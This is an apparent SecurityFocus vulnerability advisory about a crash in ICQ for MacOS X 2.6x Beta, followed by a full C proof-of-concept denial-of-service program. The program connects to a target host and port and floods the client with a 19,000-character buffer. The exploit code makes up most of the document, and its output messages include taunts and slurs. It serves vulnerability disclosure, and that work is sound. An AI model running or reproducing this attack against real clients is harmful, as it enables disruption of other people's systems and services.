56 lines
No EOL
2.2 KiB
C
56 lines
No EOL
2.2 KiB
C
source: http://www.securityfocus.com/bid/4031/info
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ICQ For MacOS X is a port of the popular Mirabilis ICQ client to the Apple MacOS X platform. It is freely available.
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It is possible to cause MacOS X ICQ clients to crash by sending an excessively long request (19000+ characters). MacOS X ICQ clients normally bind to ports 49152 and 49159.
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This is likely due to an unchecked buffer of some sort, so the possibility of exploiting this condition to execute arbitrary attacker-supplied instructions does exist. Though this possibility has not been confirmed.
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This issue has been reported for ICQ For MacOS X version 2.6X Beta. Other versions may also be prone to this issue.
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/*
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* OSX ICQ Dos. sa7ori@tasam.com
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* Proof of concept. Worked on early versions of Licq. Now it apparently works
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* for various versions of OSX ICQ clients.
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* Tested and works on: ICQ MacOSX Ver 2.6x Beta Build 7
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* and several others.
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*/
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#include <netdb.h>
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#include <netinet/in.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <errno.h>
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int main(int argc, char **argv){
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char buf[19000]; int i, sock, result; struct sockaddr_in sin; struct hostent *gothost;
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printf("So you wanna DoS ICQ...\n sa7ori@tasam.com\nBRAAAAAZIIIIIIIL\n");
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if (argc < 3) {
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fprintf(stderr, "Usage: %s <icqclient> <port>\njeez. get it right.\n", argv[0]);
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exit(-1);
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}
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gothost = gethostbyname(argv[1]);
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if (!gothost){
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fprintf(stderr, "%s: Host resolv failed. Tard.\n", argv[1]);
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exit(-1);
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}
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sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2]));
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sin.sin_addr = *(struct in_addr *)gothost->h_addr; sock = socket(AF_INET, SOCK_STREAM, 0);
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result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
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if (result != 0) {
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fprintf(stderr, "Connect Failed. reTard. %s\n", argv[1]);
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exit(-1);
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}
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if (sock < 0){
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fprintf(stderr, "Error in socket.");
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exit(-1);
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}
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for (i=0; i<19000; i++) /* send loop shaboing boing boing */
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strncat(buf, "A", 1);
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send(sock, buf, sizeof(buf), 0);
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close(sock);
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fprintf(stdout, "ShinryuHadoken\n..And an angry flurry of As flies from your outstreached hand. heh.\n\n");
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} |